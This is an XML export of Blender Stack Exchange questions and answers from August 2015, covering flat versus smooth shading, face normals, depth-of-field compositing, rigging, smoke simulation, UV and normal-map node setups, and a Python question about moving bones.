  <row Id="36170" PostTypeId="1" AcceptedAnswerId="36172" CreationDate="2015-08-21T22:36:14.750" Score="5" ViewCount="404" Body="&lt;p&gt;I wonder is it possible to have 50% smooth shading and 50% flat shading in blender cycles, applied to an created mesh?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RTRhxm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RTRhxm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/4s4ZDm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4s4ZDm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 1st image has a smooth shading on it and the 2nd has flat shading , is it possible to have 50% smooth shading and 50% flat shading? or 30% smooth and 70% flat?&lt;/p&gt;&#xA;" OwnerUserId="16433" LastEditorUserId="12" LastEditDate="2015-08-21T22:49:02.537" LastActivityDate="2016-08-26T14:28:10.277" Title="Can a model be both smooth and flat shaded?" Tags="&lt;mesh&gt;&lt;objects&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36171" PostTypeId="1" CreationDate="2015-08-21T22:43:49.977" Score="0" ViewCount="386" Body="&lt;p&gt;I'm trying to figure out how to deal with an issue where some of the face normals are &quot;upside down&quot;. They are not reversed, just upside down. I'm using 2.75 btw.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the same problem reported here:&#xA;&lt;a href=&quot;https://www.blender.org/forum/viewtopic.php?t=25783&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.blender.org/forum/viewtopic.php?t=25783&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://img4.hostingpics.net/pics/362917normalproblem.png&quot; alt=&quot;cubes with normals where one is up and the other is down&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that some face normals have the X and Y axis off - either 180 degrees like in the right cube above, or 90 degrees. All the normals are facing outward. Ctrl+N doesn't solve/change anything. I've even deleted the face and rebuild it and it keeps the same upside down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This affects me using some features like Align View to Active since almost every other face I'm working with in my model are reversed. &lt;/p&gt;&#xA;" OwnerUserId="16604" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:46.640" LastActivityDate="2015-08-21T22:43:49.977" Title="How do I rotate face normals verticies (not flip!)" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;normals&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36172" PostTypeId="2" ParentId="36170" CreationDate="2015-08-21T22:51:59.597" Score="7" Body="&lt;p&gt;You can choose which parts of your model are flat or smooth shaded from the &lt;kbd&gt;W&lt;/kbd&gt; specials menu. Make a selection of faces and choose &lt;em&gt;Shade Smooth&lt;/em&gt; or &lt;em&gt;Shade Flat&lt;/em&gt; depending on what you want to achieve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DzmUj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DzmUj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2015-08-21T22:51:59.597" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36175" PostTypeId="1" CreationDate="2015-08-22T01:05:29.127" Score="0" ViewCount="47" Body="&lt;p&gt;This is driving me crazy. I've tried a bunch of lighting setups and the top is always dark like that. I think it's a shadow. I'm using a glossy material set to gold. Any help would really be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BXrws.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BXrws.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VFshf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VFshf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16367" LastActivityDate="2015-08-22T01:05:29.127" Title="Why am I getting this shadow on the top of my pocket watch?" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36176" PostTypeId="1" AcceptedAnswerId="36322" CreationDate="2015-08-22T02:01:04.463" Score="3" ViewCount="1046" Body="&lt;p&gt;I am using an HDR to light my world in a .blend file. It works fine normally, but when I pack it it mysteriously goes missing during render time. Why is this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a .blend file demonstrating it:&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/37691&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/37691&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice how you can unpack the HDR and it loads fine in the UV Editor, but rendering it's gone!&lt;/p&gt;&#xA;" OwnerUserId="16470" LastEditorUserId="16470" LastEditDate="2015-08-22T02:19:54.237" LastActivityDate="2015-12-01T09:11:57.250" Title="HDR Images I pack go missing in render" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;blend-files&gt;" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="36177" PostTypeId="2" ParentId="35771" CreationDate="2015-08-22T02:23:35.883" Score="24" Body="&lt;p&gt;According to &lt;a href=&quot;https://www.blender.org/manual/modeling/curves/introduction.html#shape&quot; rel=&quot;noreferrer&quot;&gt;Wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A 3D Curve has Control Points that are not located on the Curve’s local XY plane. This gives the Curve a twist which can affect the Curve normals. You can alter how the twist of the Curve is calculated by choosing from Minimum, Tangent and Z-Up options from the drop-down menu.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are three tilting calculation methods. Choose the one that results as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TUSqL.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TUSqL.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-08-23T03:32:04.847" LastActivityDate="2015-08-23T03:32:04.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36180" PostTypeId="2" ParentId="36085" CreationDate="2015-08-22T03:29:03.500" Score="2" Body="&lt;p&gt;Its because there is a Mirror modifier still unapplied on the mesh. Just click Apply for the Mirror modifier (While in Object Mode) and both halves of the mesh will be editable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CE7G8.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CE7G8.gif&quot; alt=&quot;GIF&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5505" LastActivityDate="2015-08-22T03:29:03.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36181" PostTypeId="2" ParentId="36046" CreationDate="2015-08-22T03:47:46.557" Score="0" Body="&lt;p&gt;When you generate the rigify rig after adjusting the initial meta-rig and pressing generate in the armature tab (in the properties window), rigify genetates a host of control bones with ready made complex behaviors such as IK, foot roll, fist open/close, and many more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're animating the deform bones directly, and ignoring all these features, you probably don't need to generate and can bind to the meta-rig directly.&lt;/p&gt;&#xA;" OwnerUserId="15861" LastActivityDate="2015-08-22T03:47:46.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36182" PostTypeId="2" ParentId="36145" CreationDate="2015-08-22T03:59:04.870" Score="7" Body="&lt;p&gt;Plug the Z pass directly to the Z input on the Defocus Node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NUZu0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NUZu0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Control the focus distance on the camera settings. Choose and Object to focus on or set a distance. Note that if you choose an object the camera will focus at the object's origin.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8TYzO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8TYzO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every time you change any of the camera settings RENDER THE IMAGE, otherwise the compositor will not update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Max blur setting controls the amount of blur in pixels. Larger numbers will yield more blur, but will also take longer to render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The F-Stop controls the depth of field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A smaller F-stop number will result in more critical focus, with  in objects closer to the camera or further away form the focus point getting blurrier faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A larger F-stop number will result in sharper objects in front or away from the focus point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lxeyt.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lxeyt.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting the focus point with an object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JStk1.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JStk1.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of this is designed to work on a &quot;normal&quot; scale. If your scene is Huge those parameters don't work as well. In your case your scene is so big that all objects are several hundred meters, but you've set your scene scale settings to 0.001. The objects will display nice but they are still large (at least when it comes to how depth of field works)... The camera is focusing so far that to have a meaningful blur the F-stop would need to be a very small number, around 0.1 or less (give it a try and see things defocus). The problem then becomes finding the correct focus point, nothing seems to be in focus anymore...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solutions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scale all of the objects in the scene to 1000th of its size (Press &lt;kbd&gt;A&lt;/kbd&gt; to select all and then &lt;kbd&gt;S&lt;/kbd&gt;  &lt;kbd&gt;.&lt;/kbd&gt; &lt;kbd&gt;0&lt;/kbd&gt; &lt;kbd&gt;0&lt;/kbd&gt; &lt;kbd&gt;1&lt;/kbd&gt;) and reset the scale on the scene back to 1, and ta-da! The defocus node works like a dream.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QaUg7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QaUg7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;(you still have the issue that the origin of the eyes object is behind the objets so the camera doesn't quite focus on the eyes. I created an empty that is placed on the right eye). &lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-08-22T17:54:38.540" LastActivityDate="2015-08-22T17:54:38.540" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36183" PostTypeId="1" AcceptedAnswerId="57755" CreationDate="2015-08-22T04:02:57.977" Score="15" ViewCount="1576" Body="&lt;p&gt;Is there a way to get an object's width in Cycles as a value that I can use, for example, as the color input of a diffuse shader? Basically, is there a way I can get the volume absorption shader's output as a value?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of what I mean:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dvtLE.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dvtLE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thicker the glass, the more subsurface scattery it looks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to achieve what I wanted by creating two renderlayers; the first renderlayer would render some object with just a volume absorption material and output the image to a folder, and the second renderlayer containing the same object but with a material using the first renderlayer's output as an image texture. But this is pretty annoying because I have to use two renderlayers and an image sequence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried using the fake absorption method (The one that utilizes the Beer-Lambert law) to do so, but it seems I cannot invert the output value or even use it at all on a surface shader that does not have light pass through it. Maybe there is a way to alter the math behind the nodes so that it outputs an inversed version of itself?&lt;/p&gt;&#xA;" OwnerUserId="16521" LastActivityDate="2016-07-14T20:13:02.430" Title="Get Object Width In Cycles as Value" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="36184" PostTypeId="2" ParentId="36095" CreationDate="2015-08-22T05:56:31.373" Score="3" Body="&lt;p&gt;If I understand you correct, it is the sudden drop in the terrain and the jagged edge that you want to avoid. You must smoothe the edges of the heightmap. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transparent portion of your texture is treated as white. So it goes quite abruptly from dark to white.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to do this is in photoshop.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Duplicate the layer.&lt;/li&gt;&#xA;&lt;li&gt;Smooth the bottom layer. (the smaller blur radius the better result)&lt;/li&gt;&#xA;&lt;li&gt;Merge the two layers.&lt;/li&gt;&#xA;&lt;li&gt;Repeat this until the entire image is filled.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It is handy to make this an action (a macro or a script) in photoshop. It can easily be recorded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DDphF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DDphF.png&quot; alt=&quot;Photoshop action&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Halfway step:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/MlCUk.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MlCUk.jpg&quot; alt=&quot;Halfway step&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Final result:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/xO9m0.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xO9m0.jpg&quot; alt=&quot;Final result&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2015-08-22T05:56:31.373" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36185" PostTypeId="1" CreationDate="2015-08-22T10:13:55.913" Score="0" ViewCount="46" Body="&lt;p&gt;The smoke emits for one frame and then all the smoke freezes. My scene consists of just a domain, a gun barrel which also has smoke collision and smoke flow inside the barrel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the .blend:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/430/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=430&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas to why this is happening? Is it a bug?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="9711" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-08-22T10:13:55.913" Title="Smoke only emits for 1 frame?" Tags="&lt;smoke-simulation&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36186" PostTypeId="1" AcceptedAnswerId="36196" CreationDate="2015-08-22T10:41:06.043" Score="1" ViewCount="1124" Body="&lt;p&gt;I have multiple high density head models and one low poly head model. The high-density models are different between each other in details like mouth expression. I'm looking for a most efficient way to make the low poly object as similar as possible to one of the high poly models. &lt;br&gt;&#xA;I'm well aware that there could not be a method that will do it perfectly for any sample high poly model, so I allow it to be succeed by minor fixes by hand.&lt;br&gt;&#xA;The first thing that came to my mind was to do simple retopology with snapping. The result would be nice and accurate, but it's made by hand all the way and I'm searching for something batch-like. Is there a way to do it more automatically?&lt;/p&gt;&#xA;" OwnerUserId="14817" LastActivityDate="2015-08-22T14:32:02.440" Title="Morphing low poly object to high poly object" Tags="&lt;modeling&gt;&lt;topology&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36187" PostTypeId="1" CreationDate="2015-08-22T10:53:43.287" Score="0" ViewCount="513" Body="&lt;p&gt;Here's my video made with blender and unreal engine:&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=QPkYeqT0Jyg&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=QPkYeqT0Jyg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=HG3--iTjPq0&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=HG3--iTjPq0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a problem with plane meshes and I don't know weather it has something to do with Unreal engine or Blender. I need double sided lighting that plane would be displayed on both sides. And even if I select double sided in Unreal engine I still have transparent walls, floors and ceiling so I have to use solid shapes which takes much more time in building lighting and baking maps. For example I model a flower and I don't want to use solidify modifier but then when I export it to Unreal engine and I can't find backface culling option there and I can only see one side of leaf.  [the tree is taken from another unreal project and i have no idea how they made it.]&lt;/p&gt;&#xA;" OwnerUserId="16608" LastEditorUserId="3401" LastEditDate="2015-12-21T08:30:23.110" LastActivityDate="2016-02-19T09:49:36.437" Title="Blender to unreal engine" Tags="&lt;uv&gt;&lt;export&gt;&lt;blender-internal-render-engine&gt;&lt;normals&gt;&lt;unreal-engine&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36188" PostTypeId="1" CreationDate="2015-08-22T10:56:09.143" Score="0" ViewCount="222" Body="&lt;p&gt;I'm a graduated physics student and I'm going to simulate capillary waves.I have recently tried COMSOL but I couldn't find any method or model which is related to fluid wave simulation and I spent pretty much time on it!After a little search I found Blender software and it seems promising.Is it suitable for my simulation?I need it to be accurate in physics details.&lt;/p&gt;&#xA;" OwnerUserId="16609" LastActivityDate="2015-08-26T19:37:00.693" Title="capillary waves and gravitational waves simulation" Tags="&lt;modeling&gt;&lt;fluid-simulation&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36190" PostTypeId="1" CreationDate="2015-08-22T12:19:26.710" Score="1" ViewCount="69" Body="&lt;p&gt;I have a scene where I have a glass sliding door, which should be a rough greeny glass but not to rough, but what I noticed is that when I rendered the scene at 2000 samples the glass appeared to be less transparent then before, when I've viewed it at 10 samples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Have a look:&lt;/strong&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/4kyWt.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4kyWt.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look carefuly you will be able to see that the right picture is slightly more translucent then the left one, and where the change can't be easily spotted it can still make a difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you zoom in you should be able see it more clearly&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jCDLo.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jCDLo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastEditorUserId="15366" LastEditDate="2015-08-22T14:40:50.407" LastActivityDate="2015-08-22T14:40:50.407" Title="Why does my material loose translucency as I increase Samples" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;materials&gt;&lt;transparency&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36192" PostTypeId="1" CreationDate="2015-08-22T12:30:12.887" Score="3" ViewCount="859" Body="&lt;p&gt;I create an script that loads a .json file, which contains the joins and bones positions, and create a skeleton with IK based on that information. Everything works as it should be, however, when I am in pose mode, I can rotate my selected bone trough the the python API with the following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.transform.rotate(value=radians(-45), axis=(1,0,0))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The following image shows the result of the rotation on my torso:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1QWYi.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1QWYi.png&quot; alt=&quot;rotation applied&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the command above will rotate my selected bone as I wish. The problem is with the translate function, when I translate the bone trough the User Interface, everything works perfectly (even the Inverse Kinematics), so I was wondering what command should I perform in my script to achieve the same effect in translation that I achieve with the mouse (clicking &lt;kbd&gt;G&lt;/kbd&gt;, then move the mouse cursor, left click), like the following image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DbmRJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DbmRJ.png&quot; alt=&quot;desired effect&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am really looking foward for a way to achieve this effect trough python code, without the UI interaction. By the way, the following command does not work (I do not know why tough) &lt;code&gt;bpy.ops.transform.translate(value=(1,0,-5))&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just another question that could solve all of my problems, is there a way to see what commands is the blender UI applying to the skeleton so I could just copy the command of whatever I am doing to the script to achieve whatever I desire?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you so much.&lt;/p&gt;&#xA;" OwnerUserId="16610" LastEditorUserId="3710" LastEditDate="2015-12-23T16:46:32.083" LastActivityDate="2015-12-23T16:46:32.083" Title="How to translate a bone with IK in pose mode using the python API" Tags="&lt;python&gt;&lt;scripting&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36193" PostTypeId="1" AcceptedAnswerId="36200" CreationDate="2015-08-22T13:15:38.520" Score="0" ViewCount="1134" Body="&lt;p&gt;The setup is not that complex, it has the typical stuff for color, normal, ambient occlusion and specularity maps.&#xA;Problem is that there are multiple UV maps, and some of them overlap each other, f.e. the sand overlaps the mountain uv map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I try to figure out a) how to limit some of these texture maps properly to separate uvs and b) how to get the normal map to work.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Here is the node setup for the mountain(&lt;em&gt;Gebirge means mountain&lt;/em&gt;):&#xA;&lt;a href=&quot;https://i.stack.imgur.com/icqgE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/icqgE.png&quot; alt=&quot;Mountain nodes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Notice how I tried to limit all of the image textures with an attribute to the mountain(the uv map is called like the attribute), I didnt use the UV map node it is just still there.&lt;/li&gt;&#xA;&lt;li&gt;Notice how I tried to limit the Diffuse and Glossy Shaders to the mountain with the output of the normal map node. This does have an effect, I still don't know if it is correct like this and I don't know if there will be problems with the other textures/UV maps.&lt;/li&gt;&#xA;&lt;li&gt;Notice how the normal map is set up, it doesnt work like this.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Now here is a picture of the mountain, don't mind the red spots on the stuff which is not mountain, it's part of its uv map:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/XVRUU.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XVRUU.jpg&quot; alt=&quot;Mountain Pic&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Last but not least this is the kind of node setup I want to use to show other textures (of sand and stuff) on other UV maps but all in the same material:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/J49mB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/J49mB.png&quot; alt=&quot;other stuff&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I'd love if someone could maybe give me some live support with this. Like chat or skype, I send you the .blend file plus the textures and stuff.&#xA;Just send me a PM or chat invite.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT: Now the normal map works with the solution that MrZak provided:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/5RO0r.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5RO0r.png&quot; alt=&quot;normal map works&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there is still the problem with the other areas being influenced by the &lt;strong&gt;Glossy&lt;/strong&gt; and probably the &lt;strong&gt;Diffuse&lt;/strong&gt; Shader too. You can see this at the red tinting of the beach cause by the slightly red glossy shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the &lt;strong&gt;attribute&lt;/strong&gt; and the &lt;strong&gt;uv map&lt;/strong&gt; node but they wont restrict it to the UV map of the mountain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could comment on this if you have a solution but I'll probably post a new question for it.&lt;/p&gt;&#xA;" OwnerUserId="11484" LastEditorUserId="11484" LastEditDate="2015-08-22T17:58:28.343" LastActivityDate="2015-08-22T17:58:28.343" Title="Getting a normal map to work in a multiple uv node setup" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;uv&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36194" PostTypeId="1" CreationDate="2015-08-22T13:22:05.773" Score="4" ViewCount="1609" Body="&lt;p&gt;Im new to blender and I have a problem with coloring hair particles using cycles render. I used a vertex group to get the hairs sticking out of the scalp of the models head but when adding the colors the scalp is visibly colored as well and it looks really bad, is there a way to only color the hair and not the scalp?&#xA;Thanks!!&lt;img src=&quot;https://i.stack.imgur.com/VPWx4.jpg&quot; alt=&quot;![enter image description here&quot;&gt;]&lt;a href=&quot;https://i.stack.imgur.com/VPWx4.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16611" LastActivityDate="2015-09-21T16:01:13.783" Title="Blender particle hair coloring problem cycles render" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
